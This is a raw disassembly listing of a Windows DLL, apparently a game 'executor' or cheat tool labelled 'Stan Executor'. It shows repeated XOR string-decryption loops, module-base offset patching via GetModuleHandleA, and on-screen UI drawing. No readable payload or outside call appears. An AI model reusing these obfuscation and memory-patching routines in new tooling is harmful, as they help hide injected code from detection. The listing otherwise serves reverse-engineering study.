lea rcx, [rbp + 0x1870]
call fcn.1800bdb60
lea rdx, str.sucesso_ao_salvar_a_config_
lea rcx, str.config
call fcn.1800bb280
nop
movzx edx, byte [rbp + 0x1750]
lea rcx, [rbp + 0x1758]
call fcn.180083090
nop
lea rcx, [rbp + 0x1870]
call fcn.18007eda0
nop
movzx edx, byte [rbp + 0x1760]
lea rcx, [rbp + 0x1768]
call fcn.180083090
nop
lea rcx, [rbp + 0x1788]
call fcn.180049240
lea rbx, [0x180167e06]
mov cl, 1
call fcn.180017290
call fcn.180017960
mov dword [rbp + 0x328], 0x439d0000
mov dword [rbp + 0x32c], 0x41400000
lea rcx, [rbp + 0x328]
call fcn.180024f20
call fcn.180014850
movups xmm0, xmmword [str.s_J_OUK_]
movups xmmword [rbp + 0x1558], xmm0
movups xmm1, xmmword [0x1801b3a30]
movups xmmword [rbp + 0x1568], xmm1
movsd xmm0, qword [0x1801b3a40]
movsd qword [rbp + 0x1578], xmm0
movzx eax, word [0x1801b3a48]
mov word [rbp + 0x1580], ax
movzx eax, byte [0x1801b3a4a]
mov byte [rbp + 0x1582], al
mov r8d, edi
cmp r14d, 2
jl 0x1800df7bb
movdqa xmmword [rsp + 0x50], xmm14
lea rcx, [rbp + 0x155c]
mov edx, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1800df6d0
cmp r8d, 0x2b
jge 0x1800df800
movsxd rax, r8d
lea r9, [rbp + 0x1558]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2b
jl 0x1800df7d0
mov dword [rbp + 0x330], 0x43910000
mov dword [rbp + 0x334], 0x42960000
movsd xmm0, qword [0x1801b3a10]
movsd qword [rbp + 0x658], xmm0
mov ecx, dword [0x1801b3a18]
mov dword [rbp + 0x660], ecx
movzx eax, word [0x1801b3a1c]
mov word [rbp + 0x664], ax
cmp byte [0x1801b3a1d], 0
je 0x1800df9e0
mov r8d, edi
cmp r14d, 2
jl 0x1800df998
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x1801b3a10]
xorps xmm1, xmm0
movd dword [rbp + 0x658], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x65c]
xorps xmm2, xmm1
movd dword [rbp + 0x65c], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm6
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x660], xmm2
mov r8d, recv
mov eax, r8d
lea r9, [rbp + 0x658]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1800df9b0
lea rax, [rbp + 0x1558]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r13
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x330]
lea rcx, [rbp + 0x658]
call fcn.180013bd0
movsd xmm0, qword [str.z_WOeDN32B]
movsd qword [rbp + 0x508], xmm0
mov ecx, dword [0x1801b3a58]
mov dword [rbp + 0x510], ecx
cmp byte [0x1801b3a5b], 0
je 0x1800dfbb9
mov r8d, edi
cmp r14d, 2
jl 0x1800dfb7c
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.z_WOeDN32B]
xorps xmm1, xmm0
movd dword [rbp + 0x508], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x50c]
xorps xmm2, xmm1
movd dword [rbp + 0x50c], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm6
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x510], xmm2
jmp 0x1800dfbb9
lea r9, [rbp + 0x508]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1800dfb90
mov r8, rbx
lea rdx, [0x1801e8e80]
lea rcx, [rbp + 0x508]
call fcn.18004abb0
mov cl, 1
call fcn.180017290
movsd xmm0, qword [str.PTL_]
movsd qword [rbp + 0x398], xmm0
movzx eax, byte [0x1801b3a68]
mov byte [rbp + 0x398], 0x67
xor byte [rbp + 0x399], 0x38
xor byte [rbp + 0x39a], 0x39
xor byte [rbp + 0x39b], 0x3a
xor byte [rbp + 0x39c], 0x3b
xor byte [rbp + 0x39d], 0x3c
xor byte [rbp + 0x39e], 0x3d
xor byte [rbp + 0x39f], 0x3e
xor al, 0x3f
mov byte [rbp + 0x3a0], al
lea rcx, [rbp + 0x398]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
add rax, qword [0x1802efbd0]
mov rdx, rax
lea rcx, [rbp + 0x16f8]
call fcn.18005b090
nop
mov rbx, qword [rbp + 0x1708]
test rbx, rbx
jne 0x1800e01c1
movups xmm0, xmmword [0x1801b3a80]
movups xmmword [rbp + 0xbb0], xmm0
movsd xmm0, qword [0x1801b3a90]
movsd qword [rbp + 0xbc0], xmm0
mov eax, dword [0x1801b3a98]
mov dword [rbp + 0xbc8], eax
movzx eax, word [0x1801b3a9c]
mov word [rbp + 0xbcc], ax
cmp byte [0x1801b3a9d], bl
je 0x1800dfe00
mov r8d, edi
cmp r14d, 2
jl 0x1800dfdbb
movdqa xmmword [rsp + 0x50], xmm14
lea rcx, [rbp + 0xbb4]
mov edx, dword [rsp + 0x50]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1800dfcd0
cmp r8d, 0x1e
jge 0x1800dfe00
movsxd rax, r8d
lea r9, [rbp + 0xbb0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1e
jl 0x1800dfdd0
movzx eax, word [0x1801b3a7c]
mov word [rbp + 0x754], ax
movzx eax, byte [0x1801b3a7e]
mov ecx, dword [0x1801b3a78]
movsd xmm0, qword [0x1801b3a70]
mov byte [rbp + 0x756], al
mov dword [rbp + 0x750], ecx
movsd qword [rbp + 0x748], xmm0
mov dword [rbp + 0x58], 0x42960000
mov dword [rbp + 0x54], 0x43910000
mov r8d, edi
cmp r14d, 2
jl 0x1800dff92
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x1801b3a70]
xorps xmm1, xmm0
movd dword [rbp + 0x748], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x74c]
xorps xmm2, xmm1
movd dword [rbp + 0x74c], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm6
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x750], xmm2
mov r8d, recv
mov eax, r8d
lea r9, [rbp + 0x748]
add r9, rax
nop
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x1800dffa0
lea rax, [rbp + 0xbb0]
mov qword [rsp + 0x28], rax
lea rax, [0x180168110]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x54]
lea rcx, [rbp + 0x748]
call fcn.180013bd0
movsd xmm0, qword [0x1801b3aa0]
movsd qword [rbp + 0x588], xmm0
mov ecx, dword [0x1801b3aa8]
mov dword [rbp + 0x590], ecx
movzx eax, byte [0x1801b3aac]
mov byte [rbp + 0x594], al
mov r8d, edi
cmp r14d, 2
jl 0x1800e0172
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm7, xmm0
andps xmm7, xmm10
packuswb xmm7, xmm7
packuswb xmm7, xmm7
movd eax, xmm14
movd xmm0, eax
paddb xmm7, xmm0
movd xmm0, dword [0x1801b3aa0]
xorps xmm7, xmm0
movd dword [rbp + 0x588], xmm7
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm8, xmm0
andps xmm8, xmm10
packuswb xmm8, xmm8
packuswb xmm8, xmm8
movd xmm0, eax
paddb xmm8, xmm0
movd xmm1, dword [rbp + 0x58c]
xorps xmm8, xmm1
movd dword [rbp + 0x58c], xmm8
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm6
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm9, xmm0
andps xmm9, xmm10
packuswb xmm9, xmm9
packuswb xmm9, xmm9
movd xmm0, eax
paddb xmm9, xmm0
movd xmm1, ecx
xorps xmm9, xmm1
movd dword [rbp + 0x590], xmm9
mov r8d, recv
mov eax, r8d
lea r9, [rbp + 0x588]
add r9, rax
nop
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1800e0180
lea rcx, [rbp + 0x588]
call fcn.1800542b0
jmp 0x1800e0880
mov eax, WSASetLastError
mov r10d, 0x4b
cmp rbx, 6
cmove r10d, eax
movups xmm0, xmmword [str.V_UIQ_P_2be5_:___n.__3_T]
movups xmmword [rbp + 0xbd0], xmm0
movsd xmm0, qword [0x1801b3ad0]
movsd qword [rbp + 0xbe0], xmm0
mov eax, dword [0x1801b3ad8]
mov dword [rbp + 0xbe8], eax
movzx eax, word [0x1801b3adc]
mov word [rbp + 0xbec], ax
cmp byte [0x1801b3add], 0
je 0x1800e0370
mov r8d, edi
cmp r14d, 2
jl 0x1800e032b
movdqa xmmword [rsp + 0x50], xmm14
lea rcx, [rbp + 0xbd4]
mov edx, dword [rsp + 0x50]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1800e0240
cmp r8d, 0x1e
jge 0x1800e0370
movsxd rax, r8d
lea r9, [rbp + 0xbd0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1e
jl 0x1800e0340
movzx eax, word [0x1801b3abc]
mov word [rbp + 0x6e4], ax
movd xmm0, r10d
movzx eax, byte [0x1801b3abe]
mov ecx, dword [str.l_346E]
movsd xmm1, qword [str.tMKHRI]
cvtdq2ps xmm0, xmm0
mov byte [rbp + 0x6e6], al
mov dword [rbp + 0x6e0], ecx
movsd qword [rbp + 0x6d8], xmm1
movss dword [rbp + 0x60], xmm0
mov dword [rbp + 0x5c], 0x43910000
mov r8d, edi
cmp r14d, 2
jl 0x1800e0508
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.tMKHRI]
xorps xmm1, xmm0
movd dword [rbp + 0x6d8], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x6dc]
xorps xmm2, xmm1
movd dword [rbp + 0x6dc], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm6
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x6e0], xmm2
mov r8d, recv
mov eax, r8d
lea r9, [rbp + 0x6d8]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x1800e0520
lea rax, [rbp + 0xbd0]
mov qword [rsp + 0x28], rax
lea rax, [0x180168110]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x5c]
lea rcx, [rbp + 0x6d8]
call fcn.180013bd0
mov rax, qword [0x1802eff38]
mov r8, qword [rax]
add r8, 0xf8
lea rdx, [rbp + 0x17e8]
lea rcx, [0x1802efc94]
call fcn.1800bbc60
nop
cmp qword [rbp + 0x17f8], 6
jae 0x1800e07a0
movsd xmm0, qword [str.s_JYTRX_K___C]
movsd qword [rbp + 0x598], xmm0
mov ecx, dword [0x1801b3ae8]
mov dword [rbp + 0x5a0], ecx
movzx eax, byte [0x1801b3aec]
mov byte [rbp + 0x5a4], al
mov r8d, edi
cmp r14d, 2
jl 0x1800e0725
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm7, xmm0
andps xmm7, xmm10
packuswb xmm7, xmm7
packuswb xmm7, xmm7
movd eax, xmm14
movd xmm0, eax
paddb xmm7, xmm0
movd xmm0, dword [str.s_JYTRX_K___C]
xorps xmm7, xmm0
movd dword [rbp + 0x598], xmm7
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm8, xmm0
andps xmm8, xmm10
packuswb xmm8, xmm8
packuswb xmm8, xmm8
movd xmm0, eax
paddb xmm8, xmm0
movd xmm1, dword [rbp + 0x59c]
xorps xmm8, xmm1
movd dword [rbp + 0x59c], xmm8
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm6
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm9, xmm0
andps xmm9, xmm10
packuswb xmm9, xmm9
packuswb xmm9, xmm9
movd xmm0, eax
paddb xmm9, xmm0
movd xmm1, ecx
xorps xmm9, xmm1
movd dword [rbp + 0x5a0], xmm9
mov r8d, recv
mov eax, r8d
lea r9, [rbp + 0x598]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1800e0740
lea rax, [rbp + 0x598]
nop word [rax + rax]
inc r15
cmp byte [rax + r15], 0
jne 0x1800e0780
mov r8, r15
lea rdx, [rbp + 0x598]
lea rcx, [rbp + 0x17e8]
call fcn.180054a40
mov eax, dword [0x1801b3af0]
mov dword [rbp - 0x14], eax
movzx eax, byte [0x1801b3af4]
mov byte [rbp - 0x14], 0x49
xor byte [rbp - 0x13], 0x38
xor byte [rbp - 0x12], 0x39
xor byte [rbp - 0x11], 0x3a
xor al, 0x3b
mov byte [rbp - 0x10], al
lea r8, [rbp + 0x17e8]
lea rdx, [rbp - 0x14]
lea rcx, [rbp + 0xcd0]
call fcn.18006d6b0
nop
cmp qword [rax + 0x18], 0xf
jbe 0x1800e07e7
mov rax, qword [rax]
mov rcx, rax
call fcn.1800542b0
nop
lea rcx, [rbp + 0xcd0]
call fcn.180049240
cmp rbx, 6
jne 0x1800e0874
mov eax, dword [str.tW__]
mov dword [rbp + 0x44], eax
movzx ecx, word [0x1801b3afc]
mov word [rbp + 0x48], cx
movzx eax, byte [0x1801b3afe]
mov byte [rbp + 0x44], 0x43
xor byte [rbp + 0x45], 0x38
xor byte [rbp + 0x46], 0x39
xor byte [rbp + 0x47], 0x3a
xor cl, 0x3b
mov byte [rbp + 0x48], cl
xor byte [rbp + 0x49], 0x3c
xor al, 0x3d
mov byte [rbp + 0x4a], al
lea r8, [rbp + 0x16f8]
lea rdx, [rbp + 0x44]
lea rcx, [rbp + 0xd10]
call fcn.18006d6b0
nop
cmp qword [rax + 0x18], 0xf
jbe 0x1800e085e
mov rax, qword [rax]
mov rcx, rax
call fcn.1800542b0
nop
lea rcx, [rbp + 0xd10]
call fcn.180049240
nop
lea rcx, [rbp + 0x17e8]
call fcn.180049240
mov cl, 1
call fcn.180017290
nop
lea rcx, [rbp + 0x16f8]
call fcn.180049240
call fcn.180017960
xor ecx, ecx
call fcn.180017290
jmp 0x1800e08a6
xorps xmm13, xmm13
call fcn.180018ed0
mov rbx, rax
movdqa xmm0, xmmword [0x1801b4dd0]
movups xmmword [rbp + 0x758], xmm0
lea rcx, [rbp + 0x758]
call fcn.180016140
movss xmm3, dword [rbp + 0x1734]
movaps xmm1, xmm3
addss xmm1, dword [0x1801b4c9c]
movss xmm2, dword [rbp + 0x1730]
movaps xmm0, xmm2
addss xmm0, dword [0x1801b4ca0]
movss dword [rbp + 0x64], xmm0
movss dword [rbp + 0x68], xmm1
addss xmm3, dword [0x1801b4c98]
addss xmm2, xmm13
movss dword [rbp + 0x98], xmm2
movss dword [rbp + 0x9c], xmm3
mov dword [rsp + 0x28], 0xc0
movss xmm0, dword [0x180168bd0]
movss dword [rsp + 0x20], xmm0
mov r9d, eax
lea r8, [rbp + 0x64]
lea rdx, [rbp + 0x98]
mov rcx, rbx
call fcn.18002ce40
call fcn.180018ed0
mov rdi, rax
movdqa xmm0, xmmword [0x1801b4e10]
movups xmmword [rbp + 0x768], xmm0
lea rcx, [rbp + 0x768]
call fcn.180016140
mov ebx, eax
movss xmm9, dword [rbp + 0x1734]
movaps xmm6, xmm9
addss xmm6, dword [0x1801b4c9c]
movss xmm7, dword [rbp + 0x1730]
movaps xmm8, xmm7
addss xmm8, dword [0x1801b4ca4]
addss xmm9, dword [0x1801b4c98]
addss xmm7, xmm13
movss xmm0, dword [0x180168c18]
movss dword [rsp + 0x20], xmm0
xor r9d, r9d
xor r8d, r8d
lea rdx, str.Stan_Executor
lea rcx, [rbp + 0xa0]
call fcn.180015060
movss xmm0, dword [rax + 4]
